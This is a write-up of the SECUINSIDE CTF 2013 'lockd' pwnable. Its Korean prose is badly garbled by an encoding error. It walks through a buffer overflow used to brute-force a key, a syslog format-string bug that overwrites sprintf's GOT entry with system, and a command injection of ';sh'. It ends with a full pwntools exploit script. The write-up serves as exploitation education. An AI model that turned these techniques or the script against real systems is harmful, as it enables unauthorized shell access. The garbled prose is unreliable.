SECUINSIDE CTF 2013 - lockd
๋ชฉ์ฐจ
SECUINSIDE CTF 2013 pwnable challenge ์ด ๋ 20๋ฐ์ดํธ์ง๋ฆฌ ์ด ์ค์์ ๋ ๋ฒ์งธ ์ธ์ Never pass a string with user-supplied data as a format, use the following instead: ๊ทธ๋ฐ๋ฐ ๋คํํ ๋์ ๋ค๋ฅธ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ฐ, ๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ค. ํ์์ฒ๋ผ FSB๋ฅผ ํ์ฉํ๋ ค๋ฉด payload๋ฅผ ๊ทธ ๊ฒฐ๊ณผ ๋ํ ์ฐ๋ฆฌ๊ฐ ์
๋ ฅํ format string๋ง ์ถ๋ ฅ๋๋ ๊ฒ์ด ์๋๋ผ ์ด์ exploit์ ์ํด ๋ชจ๋ ์
๋ ฅ์ ์ ์ญ๋ณ์์ ๋ฐ๊ธฐ ๋๋ฌธ์ stack์ ์๋ ๊ฐ์ ์ ์ด์ฉํด์ exploit์ ํด์ผํ๋ค. ์ฒ์์๋ 4๋ฐ์ดํธ๊ฐ ํ๋ฒ์ ์จ์ง๊ฑฐ๋ผ๊ณ ์๊ฐ์ ๋ชปํด์ ์ด๋ฐ ์์ผ๋ก exploit์ ์งํํ๋ ค๊ณ ํ์ผ๋, ASLR์ ํค๊ณ ๋๋๊น ์ํฉ์ด ๋ฌ๋ผ์ก๋ค. ASLR์ด ๊บผ์ง ๊ฒฝ์ฐ ASLR์ด ์ผ์ง ๊ฒฝ์ฐ ์ด๋ฌ๋ฉด ์ฐธ๊ณ ๋ก ์ฒซ ๋ฒ์งธ ์ธ์์ธ ์์ 0x00. Introduction
[*] '/home/user/lockd'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000) 0x01. Vulnerability
Buffer Overflow
int main()
{
...
printf("Input floor > ");
__isoc99_scanf("%d", &floor_804A4C0);
printf("Room number > ");
__isoc99_scanf("%d", &room_804A0A0);
if ( floor_804A4C0 <= 4 && room_804A0A0 <= 10 && !read_password_8048A7D() )
{
...
}
return -1;
}main()์ ํต์ฌ์ ์ธ lock(), unlock() ๊ธฐ๋ฅ์ ์ฌ์ฉํ๊ธฐ ์ํด์๋ floor_804A4C0, room_804A0A0 ๊ฐ์ ๋ฒ์์ ๋ง๊ฒ ์
๋ ฅํ๊ณ , read_password_8048A7D()์ ๊ฒฐ๊ณผ๊ฐ True์ฌ์ผ ํ๋ค.int read_password_8048A7D()
{
FILE *fd; // [esp+10h] [ebp-38h]
char buf[20]; // [esp+14h] [ebp-34h] BYREF
char password[20]; // [esp+28h] [ebp-20h] BYREF
int canary; // [esp+3c] [ebp-c]
*&password[20] = __readgsdword(0x14u);
fd = fopen("password", "rb");
fread(password, 1u, 0x10u, fd);
fclose(fd);
*password_804A0A4 = *password;
*&password_804A0A4[4] = *&password[4];
*&password_804A0A4[8] = *&password[8];
*&password_804A0A4[12] = *&password[12];
printf("Input master key > ");
read(0, buf, 40u);
return memcmp(password, buf, 16u);
}buf์ 40๋ฐ์ดํธ๋งํผ ์
๋ ฅ์ ๋ฐ๊ธฐ ๋๋ฌธ์ ์ง์ญ๋ณ์ password๋ฅผ ๋ฎ์ ์ ์๋ค. FSB in
syslogint lock_8048877()
{
printf("Input master key > ");
read(0, fmt_0804A0C0, 20u);
if ( memcmp(password_804A0A4, fmt_0804A0C0, 16u) )
return -1;
sprintf(fmt_0804A0C0, "./lock LOCK %d %d", floor_804A4C0, room_804A0A0);
system(fmt_0804A0C0);
printf("Your name > ");
read(0, name_804A2C0, 0x190u);
sprintf(fmt_0804A0C0, "LOCK %d-%d by %s", floor_804A4C0, room_804A0A0, name_804A2C0);
syslog(13, fmt_0804A0C0);
return 0;
}password leak์ ์ฑ๊ณตํ๋ฉด lock()๊ณผ unlock()์ ๊ธฐ๋ฅ์ ์ฌ์ฉํ ์ ์๋ค.syslog()์ ๋ํด์ ์์ธํ๊ฒ ์ดํด๋ณด๋ฉด,void syslog(int priority, const char *format, ...);format์ format string์ผ๋ก, Linux manual page์์๋ ๊ด๋ จ ๋ด์ฉ์ ํ์ธํ ์ ์๋ค.syslog(priority, "%s", string);lock()์์๋ syslog(13, fmt_0804A0C0); ํ์์ผ๋ก ์ฌ์ฉํ๊ณ ์๊ธฐ ๋๋ฌธ์ fmt_0804A0C0์ format string์ ๋ฃ์ด์ฃผ๋ฉด FSB๊ฐ ๋ฐ์ํ๋ค.name_804A2C0๋ฅผ ํตํด fmt_0804A0C0์ format string์ ์ ๋ฌํ ์ ์์ผ๋ฏ๋ก, ์ทจ์ฝ์ ์ ํ์ฉํ ์ ์๋ค. 0x02. Exploit
Info Leak
int read_password_8048A7D()
{
FILE *fd; // [esp+10h] [ebp-38h]
char buf[20]; // [esp+14h] [ebp-34h] BYREF
char password[20]; // [esp+28h] [ebp-20h] BYREF
int canary; // [esp+3c] [ebp-c]
*&password[20] = __readgsdword(0x14u);
fd = fopen("password", "rb");
fread(password, 1u, 0x10u, fd);
fclose(fd);
*password_804A0A4 = *password;
*&password_804A0A4[4] = *&password[4];
*&password_804A0A4[8] = *&password[8];
*&password_804A0A4[12] = *&password[12];
printf("Input master key > ");
read(0, buf, 40u);
return memcmp(password, buf, 16u);
}read_password_8048A7D()๋ฅผ ๋ณด๋ฉด read()์์ 40๋ฐ์ดํธ๋ฅผ ์ฝ์ผ๋ฉฐ ์ง์ญ๋ณ์ password์ ๊ฐ์ ์กฐ์ํ ์ ์์ง๋ง, lock()์ด๋ unlock()์์๋ ์ ์ญ๋ณ์ password_804A0A4์ ๊ฐ๊ณผ ๋น๊ตํ๊ธฐ ๋๋ฌธ์ ์๋ฏธ๊ฐ ์๋ค.password์ ๋ง์ง๋ง 1๋ฐ์ดํธ๋ฅผ ๋จ๊ฒจ๋๊ณ ์ ๋ถ๋ถ์ buf์ ๊ฐ์ ๊ฐ์ผ๋ก ๋ฎ์ผ๋ฉด 1๋ฐ์ดํธ์ฉ brute forcing์ด ๊ฐ๋ฅํ๋ค.def guess_key(s):
key = []
for i in range(16):
for j in range(256):
s = remote("0.0.0.0", 8107)
floor_and_room(s, 1, 2)
payload = b"A" * (16 - len(key) - 1)
payload += chr(j).encode()
payload += ''.join(key).encode()
payload += b"B" * 4
payload += b"A" * (16 - len(key) - 1)
s.send(payload)
try:
if s.recv():
key.insert(0, chr(j))
log.success(f"HIT : {key}")
s.close()
break
except:
s.close()
continue
return key FSB
%p %p %p %p ... ์ด๋ฐ ์์ผ๋ก ๊ตฌ์ฑํด์ ๋ช ๋ฒ์งธ format string๋ถํฐ $esp๊ฐ ๊ฐ๋ฆฌํค๋ ๋ถ๋ถ์ธ์ง ํ์ธํ๋ค. ํ์ง๋ง syslog()๋ /var/log/syslog์ ๋ก๊ทธ๋ฅผ ๋จ๊ธธ ๋ฟ์ด๋ผ์ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ ์๊ฐ ์์๋ค. ๊ฒฐ๊ตญ %?$n์์ ?๊ฐ์ ๋๋ ค๊ฐ๋ฉฐ ์ธ์ ์ด๋์ ๊ฐ์ด ์จ์ง๋์ง ์์ผ๋ก ํผ์ง์ ํ๋ค.$esp์์ n๋ฒ์งธ ๋ฉ๋ชจ๋ฆฌ๋ %(n + 2)$n์ผ๋ก ์ ๊ทผํ ์์๋ค๋ ๊ฒ์ ํ์ธํ๋ค."LOCK %d-%d by %s" ๋ฌธ์์ด์ %s ๋ถ๋ถ์ format string์ด ๋ค์ด๊ฐ๋ฏ๋ก 0xc๋ฐ์ดํธ๋งํผ ๊ฐ์ด ๋ ์จ์ง๋ค. ๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ค. # %n$ -> pointing (n + 2)th dword from esp
value = elf.got['sprintf']
index = 26
lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())syslog()๋ฅผ ํธ์ถํ ๋์ stack์ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.gefโค x/20wx $esp
0xffffdcc0: 0x0000000d 0x0804a0c0 0x00000001 0x00000002
0xffffdcd0: 0x0804a2c0 0x08048cb1 0xf7e760d9 0xf7fcd000
0xffffdce0: 0x00000000 0x00000000 0xffffdd18 0x0804883a
0xffffdcf0: 0x08048c9f 0xffffdd08 0x00000002 0x00000000
0xffffdd00: 0xf7fcd3c4 0xf7ffd000 0x00000001 0xf7fcd000
gefโค x/20wx $esp + 0x50
0xffffdd10: 0x08048b90 0x00000000 0x00000000 0xf7e39af3
0xffffdd20: 0x00000001 0xffffddb4 0xffffddbc 0xf7feae6a
0xffffdd30: 0x00000001 0xffffddb4 0xffffdd54 0x0804a02c
0xffffdd40: 0x08048328 0xf7fcd000 0x00000000 0x00000000
0xffffdd50: 0x00000000 0x3cf1e46c 0x047ec07c 0x00000000
gefโค x/20wx $esp + 0xa0
0xffffdd60: 0x00000000 0x00000000 0x00000001 0x08048670
0xffffdd70: 0x00000000 0xf7ff0660 0xf7e39a09 0xf7ffd000
0xffffdd80: 0x00000001 0x08048670 0x00000000 0x08048691
0xffffdd90: 0x08048724 0x00000001 0xffffddb4 0x08048b90
0xffffdda0: 0x08048c00 0xf7feb300 0xffffddac 0x0000001c
gefโค x/20wx $esp + 0xf0
0xffffddb0: 0x00000001 0xffffdec4 0x00000000 0xffffded6
0xffffddc0: 0xffffdeec 0xffffdefd 0xffffdf0e 0xffffdf50
0xffffddd0: 0xffffdf56 0xffffdf66 0xffffdf73 0xffffdf89
0xffffdde0: 0xffffdfa3 0xffffdfb7 0xffffdfd1 0x00000000
0xffffddf0: 0x00000020 0xf7fda540 0x00000021 0xf7fda000
gefโค x/20wx $esp + 0x140
0xffffde00: 0x00000033 0x000006f0 0x00000010 0x178bfbff
0xffffde10: 0x00000006 0x00001000 0x00000011 0x00000064
0xffffde20: 0x00000003 0x08048034 0x00000004 0x00000020
0xffffde30: 0x00000005 0x00000009 0x00000007 0xf7fdc000
0xffffde40: 0x00000008 0x00000000 0x00000009 0x08048670gefโค x/wx $esp + 0x64
0xffffdd24: 0xffffddb4
gefโค x/wx 0xffffddb4
0xffffddb4: 0xffffdec40xffffddb4์ 0x00 write0xffffddb4: 0xffffde000xffffde00์ 2๋ฐ์ดํธ write (ํ์ 2๋ฐ์ดํธ)0xffffde00: 0x0000a03c0xffffddb4์ 0x02 write0xffffddb4: 0xffffde020xffffde00์ 2๋ฐ์ดํธ write (์์ 2๋ฐ์ดํธ)0xffffde00: 0x0804a03c0x0804a03c(sprintf got)์ 2๋ฐ์ดํธ writegefโค x/wx $esp+0x64
0xff8ca684: 0xff8ca714
gefโค x/wx 0xff8ca714
0xff8ca714: 0xff8caec40xffffddb4๊ฐ 0xffffdec4๋ฅผ ๊ฐ๋ฆฌํค๊ณ ์์ด 0xffffde?? ์์ญ์ ์ปจํธ๋กคํ ์ ์๋ ๋ฐ๋ฉด0xff8ca714๊ฐ 0xff8caec4๋ฅผ ๊ฐ๋ฆฌํค๊ณ ์์ด 0xff8cae?? ์์ญ์ ์ปจํธ๋กคํ ์ ์๋ค.sprintf()์ got ์ฃผ์๋ฅผ stack์ ์ ๊ตฌ์ฑํด๋๊ณ ์ ์ %?$n์ผ๋ก ์ ๊ทผํ ๋ ? ๊ฐ์ด ์ผ์ ํ์ง ์๋ค๋ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋ค. ๊ทธ๋ ๊ฒ ํ๋ฅ ์ด์๋ก ํ์ฐธ ๊ณ ์์ ํ๋ค๊ฐ ์๊ฒ ๋ ์ฌ์ค์ด 0x0804a03c๊ฐ ํ ๋ฒ์ ์ฐ์ฌ์ง๋ค๋ ๊ฒ์ธ๋ฐ, ๊ทธ๋ฌ๋ฉด exploit์ด ์๋นํ ๊ฐ๊ฒฐํด์ง๋ค.0xffffddb4์ 0x0804a03c(sprintf got) write0x0804a03c์ 0x080485e0(system plt) writesprintf()๋ฅผ system()์ผ๋ก ๋ฎ๋ ์์ด๋์ด๋ ์ฒซ ๋ฒ์งธ ์ธ์์ ๋ด๊ฐ ์ปจํธ๋กคํ ์ ์๋ ๊ฐ์ด ๋ค์ด๊ฐ๋ ํจ์๊ฐ sprintf()๋ฐ์ ์์๋ค. read(0, fmt_0804A0C0, 20u);
if ( memcmp(password_804A0A4, fmt_0804A0C0, 16u) )
return -1;
sprintf(fmt_0804A0C0, "./lock UNLOCK %d %d", floor_804A4C0, room_804A0A0);fmt_0804A0C0์ password๊ฐ ๋ด๊ฒจ์์ด์ผ ํ๋๋ฐ, ๋คํํ memcmp()๋ฅผ 16๋ฐ์ดํธ๋ง ํ๋ ๋ฐ๋ฉด ์
๋ ฅ์ 20๋ฐ์ดํธ๋ฅผ ๋ฐ์ผ๋ฏ๋ก 4๋ฐ์ดํธ์ ์ฌ์ ๊ณต๊ฐ์ด ์๊ธด๋ค. ๋ฐ๋ผ์ key ๋ค์ ;sh๋ฅผ ๋ฃ์ด์ฃผ๋ฉด GOT overwrite๊ฐ ์ฑ๊ณตํ์ ๋ ๋ค์๊ณผ ๊ฐ์ด ํจ์๊ฐ ์คํ๋๋ค. // sprintf(fmt_0804A0C0, "./lock UNLOCK %d %d", floor_804A4C0, room_804A0A0);
system("c39f30e348c07297;sh");c39f30e348c07297 ๋ถ๋ถ์ ์๋ ๋ช
๋ น์ด๋ฏ๋ก ๋ฌด์๋๊ณ , ๋ค์ ๋ช
๋ น์ธ sh๊ฐ ์คํ๋์ด shell์ ์คํ์ํฌ ์ ์๋ค. 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os
DEBUG = True
BINARY = "lockd"
bp = {
'read_password' : 0x08048A7D,
'unlock' : 0x804897A,
'lock' : 0x8048877,
'syslog_of_lock' : 0x804896e,
}
gs = f'''
b *{bp["syslog_of_lock"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def floor_and_room(s, floor, room):
s.recv()
s.sendline(str(floor).encode())
s.recv()
s.sendline(str(room).encode())
s.recv()
def lock(s, key, name):
s.sendline(b"1")
s.recv()
s.sendline(key)
s.recv()
s.sendline(name)
return s.recv()
def guess_key(s):
key = []
for i in range(16):
for j in range(256):
s = remote("0.0.0.0", 8107)
floor_and_room(s, 1, 2)
payload = b"A" * (16 - len(key) - 1)
payload += chr(j).encode()
payload += ''.join(key).encode()
payload += b"B" * 4
payload += b"A" * (16 - len(key) - 1)
s.send(payload)
try:
if s.recv():
key.insert(0, chr(j))
log.success(f"HIT : {key}")
s.close()
break
except:
s.close()
continue
return key
def main():
if(len(sys.argv) > 1):
s = remote("0.0.0.0", int(sys.argv[1]))
pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
if DEBUG:
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
else:
s = process(BINARY)
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
floor_and_room(s, 1, 2)
# [+] key : c39f30e348c07297
# key = ''.join(guess_key(s))
# log.success(f"key : {key}")
key = b"c39f30e348c07297"
s.send(key)
s.recv()
log.info(f"key : {key}")
log.info(f"sprintf got : {hex(elf.got['sprintf'])}")
log.info(f"system plt : {hex(elf.plt['system'])}")
# %n$ -> pointing (n + 2)th dword from esp
value = elf.got['sprintf']
index = 26
lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())
value = elf.plt['system']
index = 62
lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())
s.sendline(b"1")
s.recv()
s.sendline(key + b";sh")
s.interactive()
if __name__=='__main__':
main()